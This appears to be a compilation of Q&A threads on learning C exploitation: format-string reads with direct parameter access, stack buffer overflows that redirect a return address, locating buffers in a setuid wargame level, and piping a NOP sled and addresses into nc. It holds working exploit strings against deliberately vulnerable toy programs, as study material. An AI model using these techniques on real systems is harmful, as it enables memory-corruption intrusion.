I am doing some computer security research, and I am trying to learn about string format vulnerabilities. I am running a program that contains this code:
char buf[1<<5];
strncpy(buf, data, sizeof(buf));
buf[sizeof(buf)-1]='\0';
fprintf(stderr, buf);
When I feed the program the argument "%08x.%08x.%08x.%08x.%08x" (which gets read into the "data" variable), I get the output:
00000020.b7fd7560.08048b09.00000019.78383025
I understand that each hex number is popped off the stack, and the "78383025" comes from the buffer itself. So there are 4 words--16 bytes--that I have to pop off before I get to the start of my buffer.
When I give the argument `perl -e 'print "\x2a\xf9\xff\xbf%08x.%08x.%08x.%08x_%s_";'`, the %s part prints the string located at memory address 0xbffff92a.
Now, I'd like to do this using direct parameter access. If I feed the program the argument `perl -e 'print "\x2a\xf9\xff\xbf%16$s";'`, I should expect the program to do the same thing as above. But all the program prints is the four characters at the start of the buffer. So, what gives??? Am I using the wrong syntax for DPA???
I am using Ubuntu 9.04, 32-bit by the way.
Here is some compilable code, not guaranteed to produce the same results though:
#include <stdio.h>
void run(const char* data) {
char buf[1<<5];
strncpy(buf, data, sizeof(buf));
buf[sizeof(buf) - 1] = '\0';
fprintf(stderr, buf);
}
int main(int argc, char* argv[]) {
run(argv[1]);
return 0;
}
%16$s refers to the 16-th argument after the format string, and tells printf to interpret it as a char* and display it as a string.
You seem to be using it as a means to skip 16 bytes before getting the string though, which is not exactly the same thing.
Since you want the 5-th argument, try something more like this format string :
"\x2a\xf9\xff\xbf%5$s"
Since you're using perl -e 'print "...";' to pass the data, you will have to escape the $ character. Ie. :
./a.out `perl -e 'print "\x2a\xf9\xff\xbf%5\\\$s";'`
Related
I discovered the function read(), but I don't understand everything.
Here is my code:
#include <unistd.h>
#include <stdio.h>
int main(void)
{
char array[10];
int ret;
printf("read : ");
fflush(stdout);
array[sizeof(array) - 1] = '\0';
ret = read(STDIN_FILENO, array, sizeof(array) - 1);
printf("array = %s\n", array);
printf("characters read = %d\n", ret);
//getchar();
return (0);
}
Here is an example of the running program :
$> ./a.out
read : hi guys how are you
array = hi guys h
characters read = 9
$> ow are you
zsh: command not found: ow
$>
Why is it launching a shell command after the end of the program?
I noticed that if I uncomment the getchar() line, this strange behavior disappears. I'd like to understand what is going on, if someone has an idea :)
Your call to read is reading in the first 9 characters of what you've type. Anything else will be left in the input buffer so that when you program exits, your shell will read it instead.
You should check the return value of read so you know how much has been read as it's not guaranteed that it'll be the amount you ask for and also the value returned is used to indicate an error.
The string read in won't be null-terminated either, so you also should use the return value (if positive) to put the NUL character in so that your string is valid.
If you want to read in the whole line, you'll need to put in a loop and identify when there is an end of line character (most likely '\n').
You typed about 20 characters, but you only read 9 characters with read(). Everything after that was left in the terminal driver's input buffer. So when the shell called read() after the program exited, it got the rest of the line, and tried to execute it as a command.
To prevent this, you should keep reading until you get to the end of the line.
I recently took a security class in which we briefly touched on buffer overflow. I wasn't satisfied with what we covered, so I looked for a few examples to follow along with and try myself and found Buffer Overflow Attack
I like this example as it is easy to follow and understand why everything works. I tried to follow along, but in a Debian virtual machine instead of Windows.
This is the C code from the site:
#pragma check_stack(off)
#include <string.h>
#include <stdio.h>
void foo(const char* input)
{
char buf[10];
printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n% p\n\n");
strcpy(buf, input);
printf("%s\n", buf);
printf("Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
}
void bar(void)
{
printf("Augh! I've been hacked!\n");
}
int main(int argc, char* argv[])
{
//Blatant cheating to make life easier on myself
printf("Address of foo = %p\n", foo);
printf("Address of bar = %p\n", bar);
if (argc != 2)
{
printf("Please supply a string as an argument!\n");
return -1;
}
foo(argv[1]);
return 0;
}
The code "cheats" by giving the addresses of the two functions foo and bar. The ultimate goal is to get bar to run using only buffer overflow. To do this, they gave a short Perl script:
$arg = "ABCDEFGHIJKLMNOP"."\x50\x10\x40";
$cmd = "StackOverrun ".$arg;
system($cmd);
Since I'm using Linux instead of Windows, and since the address of my bar function was slightly different, I made a couple of simple fixes:
$arg = "ABCDEFGHIJKLMNOP"."\xf7\x05\x40";
$cmd = "./prog ".$arg;
system($cmd);
I would think that it should work the same way as it did in their example; the Perl script is run and it gives the filler text to the program, followed by the new return address to run bar. But it doesn't work for me.
This is the output from running my Perl script:
Address of foo: 0x400596
Address of bar: 0x4005f7
The current stack:
0x7fffe6b4abd8
0x7faba670c7a0
0x1d
0x6
0x7faba63b099a
0x7fffe6b4ad00
ABCDEFGHIJKLMNOPP�
Stack after input:
0x7ffc31998568
0x7f9a7c6ed7a0
0x7f9a7c421e50
0xf70550504f4e4d4c
0x7f9a7c39199a
0x7ffc31998690
In my output, the only address that appears to hold any of the filler text is the third from the last address, the one immediately before the return address.
I suspect the issue comes from using gcc to compile my program, but I'm not sure what exactly is causing it. The issue may also be Debian. Here's how I compiled the program:
gcc -z execstack -fno-stack-protector prog.c -o prog
My hope was that compiling without the stack protector would allow me to follow the example without issues.
Any help would be great, I'm completely stuck. Realistically I could simply switch to Windows, but at this point I really want to know why it won't work and how to fix it.
Alright so I'm going to answer my own question here, just in case anyone who views it in the future is curious.
Essentially the problem stemmed from not printing enough memory addresses to get a clear picture of the stack. If you followed along with the link in the question you'd see that printing 6 memory addresses of the stack was enough for their system, but it wasn't enough for ours. My friend proposed changing the source code from this:
printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n% p\n\n");
strcpy(buf, input);
printf("%s\n", buf);
printf("Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
to this:
printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
strcpy(buf, input);
printf("Buffer: %s\n", buf);
printf("Address of Buffer: %p\n\n", buf);
printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
This change does two things for us. First, it increases the amount of addresses printed to 13. Second, it prints the address that the buffer starts at. The second part is important as it gives us a relative value to look for in the stack addresses given. Example:
overflow#OVERFLOW:~/Overflow$ ./prog ZZZZZZ
Address of foo = 0x400596
Address of bar = 0x400601
Current Stack:
0x7fffffe6
0x7f30b7f8a7a0
0x19
0x6
0x7f30b7c2e99a
0x4007c8
0x7ffddab72653
0x7f30b7f9cde0
0x7f30b81b01a8
0x7ffddab71250
0x400672
0x7ffddab71338
0x200000000
Buffer: ZZZZZZ
Address of Buffer: 0x7ffddab71220
Stack after Input:
0x7fffffde
0x7f30b7f8a7a0
0x21
0xc
0x7f30b7c2e99a
0x4007c8
0x7ffddab72653
0x5a5a5a5a5a5a
0x7f30b81b01a8
0x7ffddab71250
0x400672
0x7ffddab71338
0x200000000
In this example we can see Address of Buffer: 0x7ffddab71220. If we look through the stack addresses below it, we find one very similar: 0x7ffddab72653. We can think of this as a starting point for the buffer, so that the following few addresses will be the storage containers of the buffer. In fact, in this example I printed "ZZZZZZ" to the buffer, and you can see the address immediately following our starting point has changed to 0x5a5a5a5a5a5a which, you may have guessed, is "ZZZZZZ" in hex.
Great, so now we know where the buffer actually starts, but we don't know which is the return address. If we look at the addresses of the functions:
Address of foo = 0x400596 and Address of bar = 0x400601
We can find a similar value somewhere below the starting point of our buffer, in this case: 0x400672.
At this point we know all we need to: which memory addresses store the buffer, the address of the function we want to call, and most importantly the return address we want to overwrite. At that point it is a matter of experimenting with the perl script, adding characters to the buffer until we get the desired result.
So I'm doing an exercise where I want to call the function void not_called() just by inputting a buffer. Basically what I want to do is use a buffer overflow to call not_called(). I'm approaching this by using a binary exploit string then using a program hex2raw (takes hex format then turns it into the ASCII for decimal digit.) I'm then going to put that binary exploit string into a .txt file, then use a series of pipes in the unix terminal to call not_called() like so:
cat exploit.txt | ./hex2raw | ./nameofpgrm
So what I'm struggling with is finding that binary exploit string. I think what I need to do is find the location in memory where not_called is called with an objdump, but I'm not sure. Any help on what I can do? I know I'm going to have to use gdb to find it. I just don't really know where to look.
#include <stdlib.h>
#include <stdio.h>
void echo();
/* Main program */
int main() {
while (1)
echo();
return(0); // never called
} // main
/* My gets -- just like gets - Get a string from stdin */
char *mygets(char *dest) {
int c = getchar();
char *p = dest;
while (c != EOF && c != '\n') {
*p++ = c;
c = getchar();
}
*p = '\0';
return dest;
} // mygets
/* Echo Line */
void echo() {
char buf[4]; /* Way too small */
mygets(buf);
puts(buf);
} // echo
void not_called() {
printf("This routine is never called\n");
printf("If you see this message, something bad has happend\n");
exit(0);
} // not_called
You want to overwrite the return address from the function echo with bytes read from stdin so that is now points to not_called entry point.
Let's use for example Mac OS/X 10.10 aka Yosemite. I simplified the code and added an extra printf to get the actual address of the function not_called:
#include <stdlib.h>
#include <stdio.h>
void echo(void) {
char buf[4]; /* Way too small */
gets(buf);
puts(buf);
}
void not_called(void) {
printf("This routine is never called\n");
printf("If you see this message, something bad has happened\n");
exit(0);
}
int main(void) {
printf("not_called is at address %p\n", not_called);
echo();
}
Let's compile and execute this code using clang:
chqrlie> clang t20.c && ./a.out
The output is quite clear:
not_called is at address 0x106dade50
warning: this program uses gets(), which is unsafe.
Using a hex editor, let's coin the input and paste it to the console: the short buffer buf aligned on 64 bits, 8 bytes below the saved copy of the stack frame pointer rbp, itself followed by the return address we want to overwrite. The input in hex is for example:
0000 3031 3233 3435 3637-3839 3031 3233 3435 0123456789012345
0010 50de da06 0100 0000- P��.....
Let's paste these 24 bytes to the console and hit enter:
0123456789012345P��^F^A^#^#^#
0123456789012345P��^F^A
This routine is never called
If you see this message, something bad has happened
Segmentation fault: 11
Function echo uses gets to read stdin, the 24 bytes are stored beyond the end of buf, overwriting the frame pointer rbp, the return address, and an extra 0 byte. echo then calls puts to output the string in buf. Output stops at the first "'\0'" as expected. rbp is then restored from the stack and gets a corrupt value, control is transferred to the return address. The return address was overwritten with that of function not_called, so that's what gets executed next. Indeed we see the message from function not_called and for some reason exit crashes instead of exiting the process gracefully.
I used gets on purpose so readers understand how easy it to cause buffer overflows with this function. No matter how big the buffer, input can be coined to crash the program or make it do interesting things.
Another interesting find is how Mac OS/X tries to prevent attackers from using this trick too easily: the address printed by the program varies from one execution to the next:
chqrlie > ./a.out < /dev/null
not_called is at address 0x101db8e50
warning: this program uses gets(), which is unsafe.
chqrlie > ./a.out < /dev/null
not_called is at address 0x10af4ae50
warning: this program uses gets(), which is unsafe.
chqrlie > ./a.out < /dev/null
not_called is at address 0x102a46e50
warning: this program uses gets(), which is unsafe.
The code is loaded at a different address each time, chosen randomly.
The input required to make function echo return to not_called is different each time. Try your own OS and check if it uses this trick. Try coining the appropriate input to get the job done (it depends on your compiler and your system). Have fun!
I have an exercise in which I need to find the start and end address of a buffer (buf2). I don't have permissions to edit the code.
Here is the code:
(the password for the level2 code is fsckmelogic)
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main(int argc, const char **argv) {
if (argc < 2) { printf("Fail. More Args...\n"); return 1; }
else {
setresuid(geteuid(),geteuid(),geteuid());
char buf2[4096];
char buf[16];
const char password[]="XXXXXXXXXXX";
strncpy(buf, argv[1], sizeof(buf) - 1);
if (strcmp(buf,password) != 0) {
printf("Wrong.\n");
return 1;
}
else {
strcpy(buf2,argv[2]);
printf("%s",buf2);
return 0;
}
}
}
ok, so no changing code however I'm assuming you can compile the code. Also, going to approach this from a hacker point-of-view (given the web site) and only use tools and techniques that might be available to a hacker. Finally I am making the assumption that you are working with a Linux box. So, lets compile the code like thus,
gcc level2.c -o so_test
Now we want to find out some starting addresses....so lets use ltrace (I'm hope it is installed on the system) and we get:
ltrace ./so_test XXXXXXXXXXX ababaabaabab
__libc_start_main(0x4006f0, 3, 0x7fff291bddb8, 0x400800 <unfinished ...>
geteuid() = 1000
geteuid() = 1000
geteuid() = 1000
setresuid(1000, 1000, 1000, -1) = 0
strncpy(0x7fff291bdcb0, "XXXXXXXXXXX", 15) = 0x7fff291bdcb0
strcmp("XXXXXXXXXXX","XXXXXXXXXXX") = 0
strcpy(0x7fff291bcca0, "ababaabaabab") = 0x7fff291bcca0
printf("%s", "ababaabaabab") = 12
ok...so what?
remember that strncpy returns a pointer to the destination string, and from the code
we know that the destination is buf, thus it's starting address is 0x7fff291bdcb0 (on my machine, your number will be different).
the third argument to strncpy is the number of characters to copy, which in this case is 15. From the code, we can see that the third argument of strncpy is sizeof(buf) - 1 which means that sizeof(buf) returns 16. From this we can deduce that the ending address of buf is 0x7fff291bdcb1 + 0x10 or ox7fff291bdcc1
we can also learn that the starting address of buf2 is 0x7fff291bcca0 from the results of the strcpy function call.
We can learn that the string entered by the user was 12 characters long due to the return value from the printf function call.
So now what is left is to find out the ending point of buf2. We can start throwing input at it till it blows up on us. Hint, if you do not want to type a long string of the same character, you can do the following:
ltrace ./so_test XXXXXXXXXXX `perl -e "print 'A' x 1024;"`
just change the 1024 to how many characters you want to pump into buf2. On my system, through a bit of trial and error, I've found out that the largest value that I can input is 4151, pushing in 4152 A's result in a segmentation fault (so we know that the maximum size of buf2 is going to be less than this).
Only thing left do do is figure out the length of buf2.
Hopefully this give you a start, I don't want to do your entire challenge for you :)
If you cannot modify the code, and your assignment is to get the beginning and ending ADDRESS of buf2, then isn't the only thing left is to run it with a debugger, and obtain the address from there??
The Starting Address of Buffer can be viewed using
printf("%p", &buff2);
Once you get the starting point of address then find the length of the buffer i.e.
len=strlen(buff2);
Now add the length in pointer then you get he end address of buff2 i.e.
printf("%p %p", *buff2, *buff2+strlen(buff2));
Can we give input string by it's hex value in gdb. For example, a simple program
#include <stdio.h>
int main() {
char buffer[20];
fscanf(stdin, "%s", buffer);
printf("%s", buffer);
}
Debugging it:
ravi#ravi-desktop:~$ gdb -q ./a.out
Reading symbols from /home/ravi/a.out...done.
(gdb) list 1
1 #include <stdio.h>
2
3 int main() {
4 char buffer[20];
5 fscanf(stdin, "%s", buffer);
6 printf("%s", buffer);
7 }
(gdb) r
Starting program: /home/ravi/a.out
\x41\x41\x41\x41
\x41\x41\x41\x41
Program exited with code 014.
(gdb) quit
I want to input four A's as input using hex value \x41 but it's considering each character separately.
The real requirement is I'm playing with Shellcode in Stack-based Buffer Overflow, and I need to input shellcode in hex at a time of debugging.
Can anybody help me here.
Thank you
Ravi
you can simply read from a socket instead of stdin, which makes it quite easy to set breakpoints in gdb and look what is happening in detail in one shell and inject code in another shell!
that is just an example how you could inject hex into a socket:
echo -e "`perl -e 'print "\x14\xee\xff\xbf"x10 . "\x90"x10'`" | nc 127.0.0.1 1337
--> printing memory addresses and NOPs with perl and pipe it into nc to localhost(or a remote system) on port 1337 in this case.
That is solving your problem i assume!
if you need assistance to communicate via socket i am sure you will find answers on stackoverflow as well!
You seem to be expecting gdb to have this functionality, that it should interpret C-style escapes in the input so that the debugged program gets an 'A' when you type \x41.
Unfortunately that's just not how it works; gdb doesn't sit between the debugged program and the terminal. And terminals don't support that functionality, so it just won't work.